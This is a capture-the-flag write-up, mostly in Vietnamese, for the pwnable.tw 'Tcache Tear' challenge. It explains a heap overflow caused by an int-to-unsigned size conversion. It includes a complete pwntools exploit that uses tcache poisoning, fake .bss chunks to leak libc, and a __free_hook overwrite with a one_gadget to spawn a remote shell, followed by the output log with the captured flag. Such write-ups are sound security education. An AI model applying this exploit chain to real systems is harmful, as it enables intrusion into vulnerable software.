Tcache Tear
Vulnerability: Chương trình ép kiểu không cẩn thận từ int về unsigned, dẫn đến buffer overflow trên heap do có chênh lệch giữa kích thước cấp phát và kích thước thực tế được input.
Recon
Mitigation
$ pwn checksec tcache_tear
[*] '/home/hungnt/ctfs/pwnable.tw/tcache-tear/tcache_tear'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled$ file tcache_tear
tcache_tear: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a273b72984b37439fd6e9a64e86d1c2131948f32, strippedGLIBC Version
pwndbg> libc
libc version: 2.27
libc source link: https://ftp.gnu.org/gnu/libc/glibc-2.27.tar.gzCode
main()
void main(void)
{
long choice;
uint free_count;
setup();
printf("Name:");
read_input(&name,0x20);
free_count = 0;
do
{
while( true )
{
while( true )
{
menu();
choice = read_long();
if (choice != 2) break;
if (free_count < 8)
{
free(ptr);
free_count = free_count + 1;
}
}
if (2 < choice) break;
if (choice == 1)
{
m4lloc();
}
else
{
invalid:
puts("Invalid choice");
}
}
if (choice != 3)
{
if (choice == 4)
{
// WARNING: Subroutine does not return
exit(0);
}
goto invalid;
}
print_name();
} while( true );
}m4lloc()
void m4lloc(void)
{
ulong size;
printf("Size:");
size = read_long();
if (size < 256)
{
ptr = malloc(size);
printf("Data:");
read_input(ptr,(int)size + -0x10);
puts("Done !");
}
return;
}Do tràn số, nếu mình nhập size = 0x8, mình có thể ghi đến 0xFFFFFFFFFFFFFFF8 bytes do ép kiểu về size_t ở __read_chk():
void read_input(char *buf,int len)
{
int n;
n = __read_chk(0,buf,len,len);
if (n < 1)
{
puts("read error");
/* WARNING: Subroutine does not return */
_exit(1);
}
if (buf[(long)n + -1] == '\n')
{
buf[(long)n + -1] = '\0';
}
return;
}print_name()
void print_name(void)
{
printf("Name :");
write(1,&name,0x20);
return;
}Solve
Ở glibc 2.27 này, mình có thể free() thoải mái vào tcache mà ko bị check. Có thể dễ dàng tcache poisoning và cấp phát tùy ý.
Do ko có chỗ nào trực tiếp output, mình cần phải tìm cách nào đó đưa được một chunk vào unsorted bin. Để ý hàm print_name() ghi ra dữ liệu tại name, nên mình phải làm sao free được địa chỉ đó vào unsorted bin, sau đó leak con trỏ fd.
Vì kích thước tối đa đc cấp phát là 255 bytes, ko free vào unsorted bin đc. Mình lợi dụng heap buffer overflow ở malloc, mình tạo 3 chunk giả liên tiếp trên bss, để bypass đc các check rồi free chunk vào unsorted bin.
Sau khi có đc libc, mình ghi one_gadget vào free hook, và có đc shell.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("tcache_tear_patched", checksec=False)
libc = ELF("libc.so", checksec=False)
ld = ELF("./ld-2.27.so", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *0x0000000000601d78
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "chall.pwnable.tw"
port = 10207
return remote(host, port)
p = conn()
def malloc(size, data):
slan(p, b'choice', 1)
slan(p, b'Size', size)
if size != 0x10:
sa(p, b'Data', data)
sleep(0.05)
def free():
slan(p, b'choice', 2)
def print_name():
slan(p, b'choice', 3)
sa(p, b'Name', flat(0, 0x421))
name = 0x00602060
# Fake chunks on bss
malloc(0x8, pad())
free()
free()
malloc(0x8, p64(name))
malloc(0x8, p64(0))
malloc(0x8, flat(
0, 0x421,
0, 0,
0, name + 0x10, # ptr
pad(0x3f0),
0, 0x21,
pad(0x10),
0, 0x21
))
# Free fake chunk to unsorted bin
free()
# Leak libc
print_name()
ru(p, b'Name :')
rn(p, 16)
libc.address = leak_bytes(rn(p, 6), 0x3ebca0)
lg("libc base", libc.address)
# Malloc till chunk is taken from the top chunk
for i in range(7):
malloc(0x90, pad())
free()
free()
free_hook = libc.symbols['__free_hook']
lg("free hook", free_hook)
malloc(0x90, p64(free_hook - 0x8))
malloc(0x90, p64(0))
one_gadget = libc.address + 0x4f322
lg("one gadget", one_gadget)
malloc(0x90, flat(0, one_gadget))
print("spawn shell")
free()
rr(p, 1)
ia(p)$ py solve.py
[+] Opening connection to chall.pwnable.tw on port 10207: Done
libc base -> 0x7fcb5fc9e000
free hook -> 0x7fcb6008b8e8
one gadget -> 0x7fcb5fced322
spawn shell
[*] Switching to interactive mode
$ cd home
$ ls
tcache_tear
$ cd tcache_tear
$ ls
flag
run.sh
tcache_tear
$ cat flag
FLAG{tc4ch3_1s_34sy_f0r_y0u}